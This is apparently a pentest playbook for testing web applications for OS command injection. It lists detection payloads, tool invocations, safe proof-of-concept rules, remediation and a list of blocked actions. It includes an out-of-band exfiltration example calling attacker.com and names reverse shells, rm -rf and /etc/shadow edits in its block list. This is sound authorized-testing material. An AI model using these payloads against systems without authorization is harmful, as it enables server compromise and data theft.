violin/skills/pentest/playbooks/command-injection.md

Command Injection — Playbook

Vulnerability Description

OWASP: A03:2021 — Injection CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

Command Injection occurs when an application passes unsafe user-supplied data to a system shell. An attacker can execute arbitrary operating system commands on the host, leading to full server compromise, data exfiltration, lateral movement, or persistent backdoors.

---

Types

Type	Description	Detection Method
Direct injection	Command output is reflected in the HTTP response	; id → output appears on the page
Blind	No output is reflected — must infer execution via side effects	; sleep 5 → response delay
Time-based (blind)	Use timing to confirm injection	; sleep 5, `
Error-based (blind)	Force a command that writes to stderr	; ls /nonexistent → error differences

---

Detection

Manual Payloads

# Linux / Unix targets
; id
| id
&& id
|| id
`id`
$(id)
; sleep 5
| sleep 5
&& sleep 5
`sleep 5`
$(sleep 5)

# Windows targets
& ver
| ver
&& ver
& ping -n 5 127.0.0.1
| ping -n 5 127.0.0.1

# Output capture (blind)
; echo test_injected
| echo test_injected
&& echo test_injected

# Target-side redirect to an accessible temporary file (blind)
; echo INJECTED > /tmp/out.txt
; curl http://attacker.com/$(whoami)   # OOB exfil (BLOCKED without explicit approval)

Testing Locations

• Ping / traceroute / nslookup tools (web interfaces)
• Hostname / whoami / uname display features
• Download / fetch / wget / curl URL fields
• DNS lookup utilities
• Log viewing / tail / grep fields
• File path fields that might be passed to shell commands
• Image processing / conversion tools (ImageMagick, ffmpeg)

---

Tools

Tool	Purpose	Notes
curl	Manual payload injection	curl -G --data-urlencode 'host=;id' 'https://target.com/ping'
commix	Automated command injection detection	commix --url='https://target.com/ping?host=127.0.0.1'
ffuf	Parameter fuzzing for injection points	ffuf -w /usr/share/wordlists/parameters.txt -u 'https://target.com/FUZZ=127.0.0.1'

⚠️ commix may not be installed by default. Install via pip install commix or use Kali/Parrot.

---

Internet Research

• <product> command injection
• <CVE-ID> RCE PoC
• site:hackerone.com command injection
• <product> remote code execution
• <product> os command injection exploit-db

---

Safe Proof of Concept

Non-destructive payloads that prove command execution:

# Time-based (blind) — safe, no side effects
; sleep 5

# Echo-based — safe if output is visible
; echo PENTEST_OK

# Whoami (returns username only — no data modification)
; whoami

# Hostname (returns machine hostname — no data modification)
; hostname

Proof of concept rules:

• Never use destructive commands (rm, dd, mkfs, chmod -R)
• Never write files to the filesystem outside approved test directories
• Never initiate outbound connections (reverse shells, data exfiltration)
• Never modify system state (processes, users, cron, services)
• Time-based (sleep 5) is the safest universal PoC

---

Evidence

Each finding should include:

**Vulnerability:** OS Command Injection
**URL:** https://target.com/cgi-bin/ping?host=127.0.0.1
**Parameter:** host
**Payload:** ; sleep 5
**Type:** Blind time-based

**HTTP Request:**
  GET /cgi-bin/ping?host=127.0.0.1%3B+sleep+5 HTTP/1.1
  Host: target.com

**Response time with payload:** 5.03s
**Response time without:** 0.04s
**Baseline:** 0.03s (benign request)

**Confirming payload:** ; echo PENTEST_OK
**Response output:** PENTEST_OK (appended to ping results)

**Remediation:** Avoid passing user input to system shell. Use parameterized APIs.

---

Evidence to Save

• Tool output → $ENG_DIR/evidence/exploitation/command-injection/<finding>.*
• Screenshots (if applicable) → $ENG_DIR/evidence/exploitation/screenshots/
• Request/response pairs → $ENG_DIR/evidence/exploitation/http/

---

Remediation

Measure	Description
Avoid os.system() / eval() / exec()	Never pass user input to shell execution functions.
Use parameterized APIs	Instead of os.system("ping " + host), use subprocess.run(["ping", host]) which does not invoke the shell.
Input validation	Whitelist allowed characters (e.g., IP addresses: digits and dots only). Reject everything else.
Sandboxing / containerization	Run command-execution functionality in isolated containers with minimal OS footprint.
Disable shell invocation	Use subprocess.Popen with shell=False (default). Avoid shell wrappers.
Least privilege	Application process should run as a non-root user with no write access to system directories.
WAF	Layer 7 filtering for common command injection payloads (defense-in-depth).

---

Stop Conditions

• Payload causes unexpected server behavior → pause and assess
• Access to sensitive data beyond scope → stop and notify

Blocked Actions

The following are never permitted during authorized testing unless explicitly approved in writing:

Action	Risk
Reverse shells	Full remote access to the server
File writes (webshells, cron, authorized_keys)	Persistence mechanism
Data destruction	rm -rf, dd if=/dev/zero, mkfs
Data exfiltration	curl, wget, nc sending data to external hosts
Persistence	Adding cron jobs, systemd services, SSH keys, startup scripts
Privilege escalation	sudo, su, chmod +s, kernel exploits
Network scanning from compromised host	Lateral movement
Modifying system files	/etc/passwd, /etc/shadow, /etc/sudoers